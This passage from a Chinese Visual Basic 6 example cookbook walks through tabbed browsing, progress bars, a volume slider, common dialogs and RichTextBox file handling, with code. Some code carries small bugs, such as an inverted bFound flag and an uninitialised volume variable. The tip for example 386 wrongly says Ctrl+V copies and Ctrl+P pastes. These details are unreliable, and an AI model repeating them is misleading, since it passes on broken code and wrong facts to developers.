（6）在SSTab控件的第一个选项卡上添加一个WebBrowser控件，WebBrowser控件也需先添加到工具箱中才能够使用。在“部件”对话框中选中Microsoft Internet Controls复选框，将WebBrowser控件添加到工具箱中。将添加到窗体上的WebBrowser控件设置为控件数组，这里只设置WebBrowser1(0)一个控件数组元素，即将WebBrowser1的Index属性值设置为0。

（7）在窗体上添加一个ComboBox控件，用于输入浏览地址。添加一个CommandButton控件和一个Label控件。

（8）在窗体上添加一个Timer控件，用于监视打开网页时的状态。

（9）Timer控件用于在打开网页时在窗体标题栏上显示当前的状态，如果网页已打开，则显示标题并将网址显示在组合框中，程序代码如下：



Private Sub Timer1_Timer()
    If WebBrowser1(SSTab1.Tab).Busy = False Then                            '如果网页当前已打开
        Timer1.Enabled = False
        SSTab1.TabCaption(SSTab1.Tab) = WebBrowser1(SSTab1.Tab).LocationName       '在选项卡上显示网页标题
        Me.Caption = WebBrowser1(SSTab1.Tab).LocationName                          '显示标题
        Combo1.Text = WebBrowser1(SSTab1.Tab).LocationURL                    '显示网址
    Else
        Me.Caption = "正在连接服务器. . ."
    End If
End Sub




在网页加载完成后实现显示网页标题等操作，实现代码如下：



Private Sub WebBrowser1_NavigateComplete(ByVal pDisp As Object, URL As Variant)
    Dim i As Integer
    Dim bFound As Boolean
    Me.Caption = WebBrowser1(SSTab1.Tab).LocationName                        '在窗体标题栏显示网页标题
    For i = 1 To Combo1.ListCount - 1                                       '添加网址到组合框中
        If Combo1.List(i) = WebBrowser1(SSTab1.Tab).LocationURL Then
            bFound = False
            Exit For
        End If
    Next i
    StrTemp = True
    If bFound = True Then
        Combo1.RemoveItem i                                            '移除项目
    End If
    Combo1.AddItem WebBrowser1(SSTab1.Tab).LocationURL, 0                    '将网址添加到组合框中
    Combo1.ListIndex = 0
    StrTemp = False
    SSTab1.TabCaption(SSTab1.Tabs - 1) = WebBrowser1(SSTab1.Tab).LocationName       '在选项卡上显示网页标题
End Sub




秘笈心法

心法领悟375：设置SSTab当前选项卡。

一般情况下，用户选择选项卡，使之成为当前选项卡。但可能需要在代码中选择当前选项卡。通过设置Tab属性，使需要显示的选项卡成为当前选项卡。例如，每次加载窗体时需要将第二个选项卡显示出来成为当前选项卡，这就需要将SSTab控件的Tab属性值设置为1。


 12.2　进度条控件应用



 实例376　为启动界面添加进度条

光盘位置：光盘\MR\12\376

中级

趣味指数：[image: ]




实例说明

程序启动时，如果加载项太多，可以在引导界面中加入进度条，根据加载时间显示加载进度。这样可使用户等待程序打开不那么枯燥，从而使程序更加生动。本实例实现在管理系统的启动界面添加一个进度条来显示程序的加载状态，程序的运行效果如图12.9所示。

[image: ]
图12.9　为启动界面添加进度条



关键技术

ProgressBar控件通过从左到右用一些方块填充矩形来表示一个较长操作的进度。ProgressBar控件有一个行程和一个当前位置。行程代表该操作的整个持续时间。当前位置则代表应用程序在完成该操作过程时的进度。Max和Min属性设置了行程的界限。Value属性则指明了在行程范围内的当前位置。由于使用方块来填充控件，因此所填充的数量只能是接近于Value属性的当前设置值。基于控件的大小，Value属性决定何时显示下一个方块。ProgressBar控件的Height属性和Width属性决定所填充控件的方块的数量和大小。方块数量越多，控件就越能精确地描述操作进度。为了增加显示方块的数量，需要减少控件的Height或者增加其Width。BorderStyle属性的设置值同样影响方块的数量和大小，为了适应边框要求，方块的大小要更小一点。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1，设置BorderStyle属性值为0-None，使其不显示边框。在窗体上添加一幅图片。

（2）在窗体上添加一个ProgressBar控件，该控件属于ActiveX控件，使用之前应先将其添加到工具箱中，添加方法为：在工程菜单中选择“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft Windows Common Control 6.0复选框，将ProgressBar等控件添加到工具箱中。

（3）在窗体上添加一个Timer控件，设置Interval属性值为100。

（4）创建一个新窗体作为程序的主窗体，设置其名称为Frm_main。

（5）主要程序代码如下：



Private Sub Form_Load()
    ProgressBar1.Visible = True                                '设置进度条可见
    ProgressBar1.Max = 52                                '设置最大值
    i = 0
End Sub
Private Sub Timer1_Timer()
    i = i + 1
    ProgressBar1.Value = I                                    '设置进度值
    If i > 50 Then
        Load Frm_main
        Frm_main.Show
        Unload Me
    End If
End Sub




秘笈心法

心法领悟376：设置进度条方块的数量。

增加进度条的方块数能够更精确地显示当前进度，通过减小进度条的高度和增加进度条的宽度都可以使进度条的方块数增加。



 实例377　在数据库处理时显示进度

光盘位置：光盘\MR\12\377

中级

趣味指数：[image: ]




实例说明

处理数据往往需要一段时间，这样在数据库处理时就应该添加一个进度条，用于显示当前的处理进度，以使程序更加人性化。本实例实现在数据初始化时显示一个进度条，以显示当前数据处理的进度，程序的运行效果如图12.10所示。

[image: ]
图12.10　在数据库处理时显示进度



关键技术

本实例使用一个数组来模拟数据操作，通过循环来设置进度条的值，使其值不断增加。这里进度条执行的时间不是数据库文件处理的真正时间，为了使进度条的进度清晰显示，增加了循环语句。

设计过程

（1）新建一个标准工程，创建一个新窗体，将“名称”属性设置为Frm_csh，Caption属性设置为“初始化”。

（2）在窗体上添加一个Frame控件，设置其Caption属性为“基础数据”。

（3）在Frame控件上添加7个CheckBox控件。

（4）在窗体上添加一个ProgressBar控件。

（5）在窗体上添加3个CommandButton控件，分别设置Caption属性为“开始”、“初始化”和“退出”。

（6）主要程序代码如下：



Private Sub Cmd_creat_Click()
    Dim rs As New ADODB.Recordset
    Dim workarea(100), sql As String     '定义字符串变量
    a = MsgBox("确认初始化该数据？", 4, "系统提示")
    If a = vbYes Then
        ProgressBar1.Visible = True      'ProgressBar控件通过从左到右用一些方块填充矩形来表示一个较长操作的进度
        ProgressBar1.Max = UBound(workarea)
        ProgressBar1.Value = ProgressBar1.Min
        For Counter = LBound(workarea) To UBound(workarea)
            'LBound 函数返回一个 Long 型数据，其值为指定数组维可用的最小下标
            'UBound 函数返回一个 Long 型数据，其值为指定的数组维可用的最大下标
            workarea(Counter) = "initial value " & Counter
            ProgressBar1.Value = Counter
            If Check1.Value = 1 Then
                rs.Open "delete  from 进货表", cnn, adOpenKeyset, adLockOptimistic
            End If
            If Check2.Value = 1 Then
                rs.Open "delete  from 出库表", cnn, adOpenKeyset, adLockOptimistic
            End If
…'此处代码省略
            If Check7.Value = 1 Then
                rs.Open "delete  from 退货信息表", cnn, adOpenKeyset, adLockOptimistic
            End If
        Next Counter
    End If
    MsgBox "初始化完成!", , "系统提示"
    ProgressBar1.Visible = False
    ProgressBar1.Value = ProgressBar1.Min
End Sub




秘笈心法

心法领悟377：Remove方法小知识。

从一个Dictionary对象中删除一个关键字和条目对，语法如下：



object.Remove(key)




参数说明

❶object：必选参数。始终是一个Dictionary对象的名字。

❷key：必选参数。key与要从Dictionary对象中删除的关键字和条目对相关联。


说明：
 如果指定的关键字和条目对不存在，则发生一个错误。



 实例378　制作特效进度条

光盘位置：光盘\MR\12\378

中级

趣味指数：[image: ]




实例说明

VB提供的ProgressBar控件显示的进度条过于死板，本实例使用API函数重绘ProgressBar控件，显示一个样式美观的进度条，程序的运行效果如图12.11所示。

[image: ]
图12.11　制作特效进度条



关键技术

本实例使用API函数CreateRoundRectRgn绘制一个圆角矩形，然后使用SetWindowRgn函数将ProgressBar控件重绘。下面介绍这两个函数的使用方法。

CreateRoundRectRgn函数用于创建一个圆角矩形，该矩形由X1、Y1、X2、Y2确定，并由X3、Y3确定的椭圆描述圆角弧度，语法如下：



Public Declare Function CreateRoundRectRgn Lib "gdi32" Alias "CreateRoundRectRgn" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal X3 As Long, ByVal Y3 As Long) As Long




参数说明如表12.1所示。

表12.1　CreateRoundRectRgn函数的参数说明



	参数
	说明



	X1,Y1
	Long，矩形左上角的X，Y坐标



	X2,Y2
	Long，矩形右下角的X，Y坐标



	X3
	Long，圆角椭圆的宽。其范围从0（没有圆角）到矩形宽（全圆）



	Y3
	Long，圆角椭圆的高。其范围从0（没有圆角）到矩形高（全圆）




返回值：Long，执行成功则为区域句柄，失败则为0。


说明：
 SetWindowRgn函数的详细讲解请参见实例250中的关键技术。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体上添加一个Shape控件，设置其Shape属性为4，使Shape控件显示为圆角矩形。

（3）在窗体上添加一个ProgressBar控件。

（4）在窗体上添加一个Timer控件，设置其Interval属性为100。

（5）在窗体上添加一个CommandButton控件，设置Caption属性为“显示”。

（6）主要程序代码如下：



Private Sub Form_Load()
    ProgressBar1.Value = 100                            '进度条值
    'API  重画ProgressBar
    rgn = CreateRoundRectRgn(10, 10, 300, 30, 10, 10)            '绘制圆角矩形
    SetWindowRgn ProgressBar1.hWnd, rgn, True                '重绘进度条控件
    DeleteObject rgn                                '删除绘制区域
End Sub




秘笈心法

心法领悟378：使用DeleteObject函数。

使用API函数绘制GDI图像后，要使用DeleteObject函数删除对象。如删除画笔、刷子、字体、位图、区域以及调色板等。对象使用的所有系统资源都会被释放。



 实例379　更改进度条颜色

光盘位置：光盘\MR\12\379

中级

趣味指数：[image: ]




实例说明

VB提供的ProgressBar控件显示的进度条是深蓝色的，很不美观，而且不能使用该控件来设置进度条颜色，本实例使用API函数来改变进度条的颜色，程序的运行效果如图12.12所示。

[image: ]
图12.12　更改进度条颜色



关键技术

本实例使用SendMessage函数实现对进度条颜色的修改。


说明：
 SendMessage函数的详细讲解请参见实例303中的关键技术。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体上添加一个Shape控件，设置其Shape属性为4，使Shape控件显示为圆角矩形。

（3）在窗体上添加一个ProgressBar控件。

（4）在窗体上添加一个Timer控件，设置其Interval属性为100。

（5）在窗体上添加一个CommandButton控件，设置Caption属性为“显示”。

（6）主要程序代码如下：



Public Sub ProgressSetColor(lProgressBarHwnd As Long, lColour As Long, bForeground As Boolean)
    Const WM_USER = &H400, CCM_FIRST As Long = &H2000&
    Const CCM_SETBKCOLOR  As Long = (CCM_FIRST + 1)
    Const PBM_SETBKCOLOR As Long = CCM_SETBKCOLOR
    Const PBM_SETBARCOLOR   As Long = (WM_USER + 9)
    On Error GoTo 1
    If bForeground Then
        '设置前景色
        Call SendMessage(lProgressBarHwnd, PBM_SETBARCOLOR, 0&, ByVal lColour)
    Else
        '设置背景色
        Call SendMessage(lProgressBarHwnd, PBM_SETBKCOLOR, 0&, ByVal lColour)
    End If
1: End Sub
Private Sub Form_Load()
    ProgressBar1.Value = 100
    'API  重画ProgressBar
    rgn = CreateRoundRectRgn(10, 10, 300, 30, 10, 10)
    SetWindowRgn ProgressBar1.hwnd, rgn, True
    DeleteObject rgn
    ProgressSetColor ProgressBar1.hwnd, RGB(100, 200, 100), True
End Sub




秘笈心法

心法领悟379：功能强大的SendMessage函数。

顾名思义，SendMessage函数的功能是“发送消息”，即将一条消息发送到指定对象（操作系统、窗口或控件等）上，以产生特定的动作（如滚屏、修改对象外观等）。



 实例380　利用Slider控件实现音量调整

光盘位置：光盘\MR\12\380

中级

趣味指数：[image: ]




实例说明

本实例使用Slider控件实现音量的调整。Slider控件能够显示一个事物的当前值，可以通过滑动滑块改变当前值，程序的运行效果如图12.13所示。

[image: ]
图12.13　利用Slider控件实现音量调整



关键技术

本实例使用Slider控件实现对音量的调整，Slider控件由标尺和滑块共同构成。其中标尺由Min和Max属性定义。滑块可由最终用户通过鼠标或箭头键控制。在运行时，可动态设置Min和Max属性以反映新的取值范围。Value属性返回滑块的当前位置。通过使用MouseDown和MouseUp等事件，Slider控件可用于以图形方式从一定的取值范围内选取一个值。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体上添加一个Slider控件，该控件属于ActiveX控件，使用之前应先将其添加到工具箱中，添加方法为：在工程菜单中选择“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft Windows Common Control 6.0复选框，将Slider等控件添加到工具箱中。

（3）将Slider控件的Max属性设置为10。

（4）主要程序代码如下：



Private Declare Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long
Private Declare Function waveOutGetVolume Lib "winmm.dll" (ByVal uDeviceID As Long, lpdwVolume As Long) As Long
Private Declare Function waveOutSetVolume Lib "winmm.dll" (ByVal uDeviceID As Long, ByVal dwVolume As Long) As Long
Dim vol1, l
Private Sub Form_Load()
    Dim i As Long
    Dim k As Variant
    '保存当前音量
    waveOutGetVolume l, i
    Slider1.Value = 20 * CLng(vol1) / 65535
    k = App.Path + "\py.wav"
    l = &H1 Or &H2
    sndPlaySound k, l
End Sub
Private Sub Slider1_Scroll()
    vol1 = 3276 * Slider1.Value
    waveOutSetVolume 0, vol1
End Sub




秘笈心法

心法领悟380：Slider控件的外观设置。

该控件的外观由TickStyle属性决定。简而言之，标尺可以出现在控件的底部（默认样式），也可以出现在顶部，还可以同时出现在顶部和底部，或者不出现。


 12.3　CommonDialog控件应用



 实例381　使用“打开”对话框打开一个文件

光盘位置：光盘\MR\12\381

中级

趣味指数：[image: ]




实例说明

本实例使用CommonDialog控件来显示“打开”对话框，通过“打开”对话框打开一个文件。本实例仅演示打开图片文件，将打开的图片文件显示在窗体上，程序的运行效果如图12.14所示。

[image: ]
图12.14　打开文件



关键技术

本实例使用CommonDialog控件的ShowOpen方法显示“打开”对话框，根据“打开”对话框返回的路径，在窗体上显示一幅图像。CommonDialog控件提供诸如打开和保存文件、设置打印选项、选择颜色和字体等操作的一组标准对话框。在运行Windows帮助引擎时，控件还能够显示帮助。


说明：
 FileName属性包含文件的路径和名称。这里使用FileName属性返回在“打开”对话框中选择的文件路径。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体上添加一个CommonDialog控件，该控件属于ActiveX控件，使用之前应先将其添加到工具箱中，添加方法为：在工程菜单中选择“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，将CommonDialog控件添加到工具箱中。

（3）在窗体上添加一个PictureBox控件、一个水平滚动条、一个竖直滚动条和一个命令按钮。

（4）主要程序代码如下：



Private Sub Command1_Click()
    Dim i As Integer
    CommonDialog1.Filter = "Supported files|*.bmp;*.gif;*.jpg;*.ico|BMP 文件(*.BMP)|*.BMP|JPG 文件(*.JPG)|*.JPG|GIF 文件(*.GIF)|*.GIF"
    CommonDialog1.ShowOpen
    If CommonDialog1.FileName <> "" Then
        Picture2.Picture = LoadPicture(CommonDialog1.FileName)
        Picture1.Picture = Picture2.Picture
        SolNum
    End If
End Sub




秘笈心法

心法领悟381：利用“打开”对话框返回长度为0的文件。

运行时创建控件，将FileName属性设置为零长度字符串("")，表示当前没有选择文件。当显示了“打开”对话框，而没有选择打开文件，即取消了操作，FileName属性为零长度字符串("")。



 实例382　设置默认路径

光盘位置：光盘\MR\12\382

初级

趣味指数：[image: ]




实例说明

使用“打开”或“保存”对话框时，有时希望直接到指定的路径下，以免重新选择路径。本实例实现设置“打开”对话框的默认路径为C:\，其效果如图12.15所示。

[image: ]
图12.15　设置默认路径



关键技术

使用CommonDialog对话框的InitDir属性可以设置对话框的默认路径。该属性初始返回或设置文件目录，语法如下：



object.InitDir [= string]




参数说明

string：字符串表达式，它指定初始文件目录。


说明：
 该属性用于为打开或另存为对话指定初始的目录。如果此属性没有指定，则使用当前目录。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体上添加一个CommonDialog控件，该控件属于ActiveX控件，使用之前应先将其添加到工具箱中，添加方法为：在工程菜单中选择“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，将CommonDialog控件添加到工具箱中。

（3）在窗体上添加一个命令按钮，设置Caption属性为“打开”。

（4）主要程序代码如下：



Private Sub Command1_Click()
    CommonDialog1.InitDir = "c:\"
    CommonDialog1.ShowOpen
End Sub




秘笈心法

心法领悟382：设置文件过滤器。

使用CommonDialog控件的Filter属性（过滤器）可以设置允许打开的文件的类型。例如，选择过滤器为*.txt，显示所有的文本文件，代码如下：



'设置过滤器
CommonDialog1.Filter = "Text Files(*.txt)|*.txt"
'显示“打开”对话框
CommonDialog1.ShowOpen




使用Filter属性还可以提供一个过滤器列表，即用它可以进行多个文件的选择。但在多个文件中要使用管道（|）符号（ASCII 124）隔开。管道符号的前后都不能加空格，因为这些空格会使文件类型一起显示。



 实例383　使用颜色对话框设置窗体背景色

光盘位置：光盘\MR\12\383

初级

趣味指数：[image: ]




实例说明

VB能够显示一个颜色对话框，可通过颜色对话框中提供的调色板选择不同的颜色。本实例实现通过颜色对话框对窗体颜色进行设置。运行程序后，单击窗体上的“打开颜色对话框”按钮，显示一个“颜色”对话框，在“颜色”对话框中选择要将窗体设置的颜色，单击“确定”按钮后，即可为窗体设置颜色，程序的运行效果如图12.16所示。

[image: ]
图12.16　打开“颜色”对话框



关键技术

通过使用CommonDialog控件的ShowColor方法可显示“颜色”对话框。“颜色”对话框用于从调色板选择颜色，或是生成和选择自定义颜色。

如要使用“颜色”对话框，应先设置CommonDialog控件中与颜色对话相关的属性。然后使用ShowColor方法显示对话框，使用Color属性检索所选的颜色。本实例获取选择颜色的代码如下：



Me.BackColor = CommonDialog1.Color




这里通过设置Flags属性来设置“颜色”对话框选项，语法如下：



object.Flags [= value]




参数说明

❶object：对象表达式。

❷value：为“颜色”对话框指定选项的常数或值。

value的设置值如表12.2所示。

表12.2　Flags属性的value值说明



	常数
	值
	说明



	cdlCCFullOpen
	&H2
	显示全部的对话框，包括定义自定义颜色部分



	cdlCCShowHelpButton
	&H8
	使对话框显示帮助按钮



	cdlCCPreventFullOpen
	&H4
	使定义自定义颜色命令按钮无效并防止定义自定义颜色



	cdlCCRGBInit
	&H1
	为对话框设置初始颜色值




设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体上添加一个CommonDialog控件，该控件属于ActiveX控件，使用之前应先将其添加到工具箱中，添加方法为：在工程菜单中选择“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，将CommonDialog控件添加到工具箱中。

（3）在窗体上添加一个命令按钮，设置Caption属性为“打开颜色对话框”。

（4）主要程序代码如下：



Private Sub Command1_Click()
    '设置“取消”为True
    CommonDialog1.CancelError = True
    On Error GoTo ErrHandler
    CommonDialog1.Flags = cdlCCRGBInit            '设置 Flags 属性
    CommonDialog1.ShowColor                    '显示“颜色”对话框
    Me.BackColor = CommonDialog1.Color            '设置窗体的背景颜色为选定的颜色
    Exit Sub
ErrHandler:
    '用户单击“取消”按钮
End Sub




秘笈心法

心法领悟383：设置对话框的CancelError属性。

CancelError属性用于返回或设置一个值，该值指示当单击“取消”按钮时是否出错。将此值设置为True时，无论何时单击“取消”按钮，都会产生一个错误，可以通过此项设置来判断用户是否单击了“取消”按钮。



 实例384　显示“打印”或“打印选项”对话框

光盘位置：光盘\MR\12\384

中级

趣味指数：[image: ]




实例说明

本实例实现显示“打印”对话框，在“打印”对话框中进行打印设置的功能。运行本程序，单击窗体上的“打印”按钮，显示一个“打印”对话框，在“打印”对话框中，可以打开“打印选项”对话框进行设置，或者直接对打印进行设置，程序的运行效果如图12.17所示。

[image: ]
图12.17　打开“打印”对话框



关键技术

通过使用CommonDialog控件的ShowPrinter方法即可显示“打印”对话框。利用“打印”对话框可以打开“打印选项”对话框，语法如下：



object.ShowPrinter




“打印”对话框允许用户指定打印输出的方法。用户可指定打印页数范围、打印质量、复制数目等。此对话框还显示有当前安装的打印机信息，并允许用户进行配置或重新安装新的默认打印机。


注意：
 此对话框并不真正将数据发送到打印机。它允许用户指定如何打印数据。必须编写代码实现用选定的格式打印数据。

运行时，当用户在“打印”对话框中做出选择后，如表12.3所示属性将包含用户选项的信息。

表12.3　“打印”对话框属性



	属性
	决定



	Copies
	要打印的份数



	FromPage
	打印的起始页



	ToPage
	打印的结束页



	hDC
	选定打印机的设备上下文




例如，要获取在“打印”对话框中设置的打印份数，应使用如下代码：



NumCopies = CommonDialog1.Copies




设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体上添加一个CommonDialog控件，该控件属于ActiveX控件，使用之前应先将其添加到工具箱中，添加方法为：在工程菜单中选择“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，将CommonDialog控件添加到工具箱中。

（3）在窗体上添加一个命令按钮，设置Caption属性为“打印”。

（4）主要程序代码如下：



Private Sub Command1_Click()
    Dim BeginPage, EndPage, NumCopies, i
    CommonDialog1.CancelError = True    '将Cancel设置成True
    On Error GoTo ErrHandler
    '显示“打印”对话框
    CommonDialog1.ShowPrinter
    '从对话框中获取用户选定数值
    BeginPage = CommonDialog1.FromPage
    EndPage = CommonDialog1.ToPage
    NumCopies = CommonDialog1.Copies
    For i = 1 To NumCopies
        '在此放置代码，将数据发送到打印机
    Next
    Exit Sub
ErrHandler:
    '用户单击了“取消”按钮
    Exit Sub
End Sub




秘笈心法

心法领悟384：PrinterDefault属性对打印机的影响。

若将PrinterDefault属性设置为True，则可在Visual Basic Printer对象上打印。另外，当PrinterDefault属性为True时，所有在“打印”对话框“设置”部分中做出的变更都将改变用户“打印机”设置中的打印机设置值。



 实例385　从公共对话框控件中提取多个文件名称

光盘位置：光盘\MR\12\385

中级

趣味指数：[image: ]




实例说明

在“打开”对话框中进行文件选择时，有时需要选择多个文件，一个一个地进行选择就很麻烦。本实例实现一次选择多个文件。运行程序后，单击“提取”按钮，显示“打开”对话框，在该对话框中选择打开文件的路径，在文件列表中选中文件，然后使用鼠标拖拽即可连续选择多个文件；或者首先按住键盘上的Ctrl键，再使用鼠标选择文件，也可选择多个文件，程序的运行效果如图12.18所示。
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图12.18　一次提取多个文件

关键技术

通过将公共对话框控件的Flags属性设置为常量值OFN_ALLOWMULTISELECT，可以使用户能够选择几个文件以进行工作。

为了使程序能够针对用户所选择的文件进行工作，需要从控件的Filename属性中提取每个文件的名称。

可以使用InStr函数来搜索分界的空格字符以从公共对话框的Filename属性中提取每个文件名称。该InStr函数返回在Filename属性字符串中空格字符的位置。得到空格字符的位置后就可以使用Mid函数来将独立的文件名称从该字符串中移出。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体上添加一个CommonDialog控件，该控件属于ActiveX控件，使用之前应先将其添加到工具箱中，添加方法为：在工程菜单中选择“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，将CommonDialog控件添加到工具箱中。

（3）在窗体上添加两个标签控件和一个文本框，一个列表框和一个文件列表框。

（4）在窗体上添加一个命令按钮，设置Caption属性为“提取”。

（5）主要程序代码如下：



Private Sub Command1_Click()
    Dim arr, i As Integer                                                   '声明变体变量arr，整型变量i
    List1.Clear
    CommonDialog1.FileName = ""
    CommonDialog1.Filter = "All Files|*.*"
    CommonDialog1.Flags = cdlOFNAllowMultiselect + cdlOFNExplorer
    CommonDialog1.Action = 1
    CommonDialog1.FileName = CommonDialog1.FileName & Chr(32)
        If CommonDialog1.FileName <> "" Then                                 '当已选择文件时
            arr = Split(CommonDialog1.FileName, Chr(0))                        '将字符串拆分为数组
        End If
    If UBound(arr) > LBound(arr) Then                                       '当数组长度大于1时
       Text1.Text = arr(LBound(arr))                                     '显示文件所在路径
        For i = LBound(arr) + 1 To UBound(arr)                              '显示文件所在路径
            List1.AddItem arr(i)                                            '在列表项中添加文件名称
        Next i
    Else
        File1.FileName = CommonDialog1.FileName                         '设置文件名属性用于获取所选文件路径
        Text1.Text = File1.Path                                       '显示文件所在路径
        List1.AddItem File1.FileName                                        '在列表项中添加文件名称
    End If
End Sub




秘笈心法

心法领悟385：使用Flags属性设置对话框样式。

利用Flags属性可以设置对话框的样式，通过使用不同的常数可以设置多种样式，Flags属性是很有用的一个属性。Flags属性的常数值及其描述参见VB帮助文件。


 12.4　RichTextBox控件应用



 实例386　使用RichTextBox控件打开和保存文件

光盘位置：光盘\MR\12\386

初级

趣味指数：[image: ]




实例说明

本实例实现使用RichTextBox控件打开和保存一个文本文件。程序运行后，单击“打开”按钮，在“打开”对话框中选择一个文本文件，文本文件的内容将显示在RichTextBox控件中。单击“保存”按钮，将弹出“另存为”对话框，选择相应的存储位置和名称，可将文件保存，程序的运行效果如图12.19所示。

[image: ]
图12.19　使用RichTextBox控件打开和保存文件



关键技术

本实例利用LoadFile方法可以为RichTextBox控件加载一个.rtf文件或文本文件。利用SaveFile可以把RichTextBox控件的内容存入文件。

（1）LoadFile方法

该方法用于向RichTextBox控件中加载一个.rtf文件或文本文件。不支持命名的参数，语法如下：



object.LoadFile pathname, filetype




参数说明

❶object：必选参数。对象表达式，其值是RichTextBox控件。

❷pathname：必选参数。字符串表达式，它定义加载控件的文件路径和文件名。

❸filetype：可选参数。整数或常数。

filetype设置值如表12.4所示。

表12.4　filetype设置值



	常数
	值
	说明



	RtfRTF
	0
	（默认）RTF。被加载的文件必须是一个合法的.rtf文件



	rtfText
	1
	文本。RichTextBox控件可加载任一文本文件




（2）SaveFile方法

该方法用于把RichTextBox控件的内容存入文件。不支持命名的参数，语法如下：



object.SaveFile(pathname, filetype)




参数说明

❶object：必选参数。对象表达式，其值是RichTextBox控件。

❷pathname：必选参数。字符串表达式，它定义保存控件内容文件的路径和文件名。

❸filetype：可选参数。整数或常数。

filetype设置值如表12.5所示。

表12.5　filetype设置值



	常数
	值
	说明



	RtfRTF
	0
	（默认）RTF。RichTextBox控件把它的内容存为一个.rtf文件



	rtfText
	1
	文本。RichTextBox控件把它的内容存为一个文本文件




设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个RichTextBox控件，该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择VB菜单中的“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft Rich TextBox Control 6.0（SP4）复选框，单击“确定”按钮。此时，RichTextBox控件将出现在工具箱中。

（3）在窗体上添加3个命令按钮，分别设置Caption属性为“打开”、“保存”和“退出”。

（4）主要程序代码如下：



Private Sub Command1_Click()                        '打开文件
   Dim strOpen As String
   CommonDialog1.Filter = "Text (*.txt,*.rtf)|*.txt;*.rtf"        '文件类型过滤器
   CommonDialog1.ShowOpen                        '显示“打开”对话框
   strOpen = CommonDialog1.FileName                    '打开的文件名
   RichTextBox1.LoadFile strOpen                    '打开文件
End Sub
Private Sub Command2_Click()                       '保存文件
   Dim strNewFile As String
   CommonDialog1.ShowSave                        '显示“另存为”对话框
   strNewFile = CommonDialog1.FileName                '设置另存为路径
   RichTextBox1.SaveFile strNewFile                    '保存文件
End Sub




秘笈心法

心法领悟386：在RichTextBox控件中实现复制和粘贴操作。

使用Ctrl+V快捷键可以在RichTextBox控件中对文本进行复制，使用Ctrl+P快捷键可以在RichTextBox控件中对文本进行粘贴。



 实例387　在RichTextBox控件中查找文本

光盘位置：光盘\MR\12\387

初级

趣味指数：[image: ]




实例说明

一般的文本框编辑器中都包括查找功能。本实例实现在RichTextBox控件中实现查找文本的功能。运行程序后，在文本框中输入要查找的内容，单击“查询”按钮，将自动进行查找，如果存在，将要查找的文本自动选中；如果不存在，则提示查找内容不存在，程序的运行效果如图12.20所示。

[image: ]
图12.20　查找文字



关键技术

在RichTextBox控件中不仅允许输入和编辑文本，同时还提供了标准TextBox控件未具有的、更高级的指定格式的许多功能。其中的Find方法的功能是：根据给定的字符串，在RichTextBox控件中搜索文本。如果是英文文字，直接使用Find方法即可，对于中英文文字，需要将文字转换为vbFromUnicode类型再使用Find方法。

Find方法的语法如下：



object.Find(string,start,end,options)




参数说明如表12.6所示。

表12.6　Find方法的参数说明



	参数
	说明



	object
	必选参数。对象表达式



	string
	必选参数。要在控件中查找的字符串表达式



	start
	可选参数。决定从哪里开始搜索的整数字符索引。控件中的每一个字符都有一个可唯一标识的整数索引。控件中文本的第一个字符的索引是0



	end
	可选参数。决定在哪里结束搜索的整数字符索引



	options
	可选参数。用来指定一个或多个可选功能常数的和。所指定的功能如表12.7中所述




表12.7　options的设置值



	常数
	值
	说明



	RtfWholeWord
	2
	确定匹配是基于整个单词还是单词的片段



	RtfMatchCase
	4
	确定匹配是否基于指定字符串与字符串文本的大小写字体一致



	RtfNoHighlight
	8
	确定匹配是否在RichTextBox控件中突出显示





说明：
 通过把Options的设置值的值或常数相加或者用Or运算符使这些设置值相结合的形式，可产生多个选项。例如，将Options设置为2+4或者RtfWholeWord+RtfMatchCase的形式都可以。

如果找到被搜索的文本，Find方法将突出显示所指定的文本，同时返回突出显示的第一个字符的索引。如果所指定的文本没有找到，Find方法则返回-1。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个RichTextBox控件，该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，在打开的“部件”对话框选中Microsoft Rich TextBox Control 6.0（SP4）复选框，单击“确定”按钮。此时，RichTextBox控件将出现在工具箱中。

（3）在窗体上添加一个命令按钮，设置Caption属性为“查询”。在窗体上添加一个文本框，设置Text属性为空。

（4）主要程序代码如下：



Private Sub Command1_Click()
    Dim FoundPos As Integer
    FoundPos = RichTextBox1.Find(Text1.Text, 0, , 8)
    If FoundPos <> -1 Then
        RichTextBox1.SetFocus
        RichTextBox1.SelStart = FoundPos
        RichTextBox1.SelLength = Len(Text1.Text)
    Else
        MsgBox Text & "未找到 ", vbOKOnly, "查询结果"
    End If
End Sub




秘笈心法

心法领悟387：RichTextBox控件支持的文本格式。

RichTextBox控件能以RTF格式和普通ASCII文本格式两种形式打开和保存文件，其他的文档格式并不支持。



 实例388　在RichTextBox控件中进行中英文文字查找并描红

光盘位置：光盘\MR\12\388

中级

趣味指数：[image: ]




实例说明

